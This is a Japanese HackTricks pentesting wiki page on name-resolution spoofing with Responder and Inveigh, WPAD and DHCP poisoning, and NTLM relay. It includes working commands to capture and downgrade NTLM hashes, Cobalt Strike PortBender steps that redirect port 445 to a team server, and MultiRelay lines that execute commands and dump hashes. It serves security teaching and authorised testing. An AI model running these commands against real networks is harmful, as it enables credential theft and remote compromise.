Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

HackTricksのサポート

ネットワークプロトコル

ローカルホスト解決プロトコル

  • LLMNR、NBT-NS、およびmDNS:

  • Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名の解決にLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。

  • これらのプロトコルは、UDPを介した認証されていないブロードキャスト性質のため、傍受およびスプーフィングの対象となります。

  • Responderを使用して、これらのプロトコルをクエリするホストに偽の応答を送信してサービスをなりすますことができます。

  • Responderを使用したサービスなりすましの詳細についてはこちらを参照してください。

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPADはブラウザがプロキシ設定を自動的に検出することを可能にします。

  • 検出は、DHCP、DNS、またはDNSが失敗した場合はLLMNRおよびNBT-NSを介して行われます。

  • Responderを使用してWPAD攻撃を自動化し、クライアントを悪意のあるWPADサーバに誘導することができます。

プロトコル毒入れのためのResponder

  • Responderは、LLMNR、NBT-NS、およびmDNSクエリを毒入れするためのツールであり、クエリの種類に基づいて選択的に応答し、主にSMBサービスを対象としています。

  • Kali Linuxには事前にインストールされており、/etc/responder/Responder.confで設定可能です。

  • Responderはキャプチャしたハッシュを画面に表示し、/usr/share/responder/logsディレクトリに保存します。

  • IPv4およびIPv6の両方をサポートしています。

  • ResponderのWindowsバージョンはこちらで入手できます。

Responderの実行

  • デフォルト設定でResponderを実行するには: responder -I <Interface>

  • より積極的なプロービングを行う場合(潜在的な副作用がある): responder -I <Interface> -P -r -v

  • NTLMv1のチャレンジ/レスポンスをキャプチャしてクラックを容易にするためのテクニック: responder -I <Interface> --lm --disable-ess

  • WPADなりすましを有効にするには: responder -I <Interface> --wpad

  • NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定することができます: responder.py -I <interface> -Pv

Responderを使用したDHCP毒入れ

  • DHCP応答のスプーフィングは、被害者のルーティング情報を永続的に毒入れし、ARP毒入れに対するより隠れた代替手段を提供します。

  • ターゲットネットワークの構成について正確な知識が必要です。

  • 攻撃の実行: ./Responder.py -I eth0 -Pdv

  • この方法は効果的にNTLMv1/2ハッシュをキャプチャできますが、ネットワークの混乱を避けるために注意深く取り扱う必要があります。

Responderを使用した資格情報のキャプチャ

  • Responderは上記のプロトコルを使用してサービスをなりすまし、ユーザーがなりすましサービスに認証しようとするときに資格情報(通常はNTLMv2チャレンジ/レスポンス)をキャプチャします。

  • クレデンシャルのクラックを容易にするために、NetNTLMv1にダウングレードしたり、ESSを無効にしたりする試みが行われることがあります。

これらの技術を使用する際は、適切な承認を得て合法的かつ倫理的に行い、混乱や不正アクセスを避けるようにすることが重要です。

Inveigh

Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム向けのツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールはPowerShellスクリプトからC#バイナリに進化し、InveighおよびInveighZeroが主要なバージョンとして提供されています。詳細なパラメータと手順についてはwikiを参照してください。

InveighはPowerShellを介して操作することができます:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

またはC#バイナリとして実行されます:

Inveigh.exe

NTLM Relay Attack

この攻撃は、SMB認証セッションを利用してターゲットマシンにアクセスし、成功するとシステムシェルを取得します。主な前提条件は次のとおりです:

  • 認証ユーザーはリレーされたホストでのローカル管理者アクセスを持っている必要があります。

  • SMB署名は無効にする必要があります。

445ポートのフォワーディングとトンネリング

直接ネットワーク導入が困難なシナリオでは、ポート445のトラフィックをフォワーディングおよびトンネリングする必要があります。PortBenderのようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ちます。これは、ローカル管理者アクセスがドライバーのロードに利用可能な場合に重要です。

Cobalt StrikeでのPortBenderのセットアップと操作:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attackのためのその他のツール

  • Metasploit: プロキシ、ローカルおよびリモートホストの詳細を設定します。

  • smbrelayx: SMBセッションを中継し、コマンドを実行したりバックドアを展開したりするためのPythonスクリプトです。

  • MultiRelay: 特定のユーザーまたはすべてのユーザーを中継し、コマンドを実行したりハッシュをダンプしたりするResponderスイートからのツールです。

必要に応じて各ツールはSOCKSプロキシを介して操作するように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。

MultiRelayの操作

MultiRelayは /usr/share/responder/tools ディレクトリから実行され、特定のIPアドレスまたはユーザーを対象とします。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

NTLMリレーアタックを実行するための包括的なセットを形成するこれらのツールとテクニック。

NTLMログインを強制する

Windowsでは、特権アカウントの一部を任意のマシンに認証させることができる場合があります。次のページを読んで詳細を学んでください:

Force NTLM Privileged Authentication

参考文献

HackTricksをサポートする

Last updated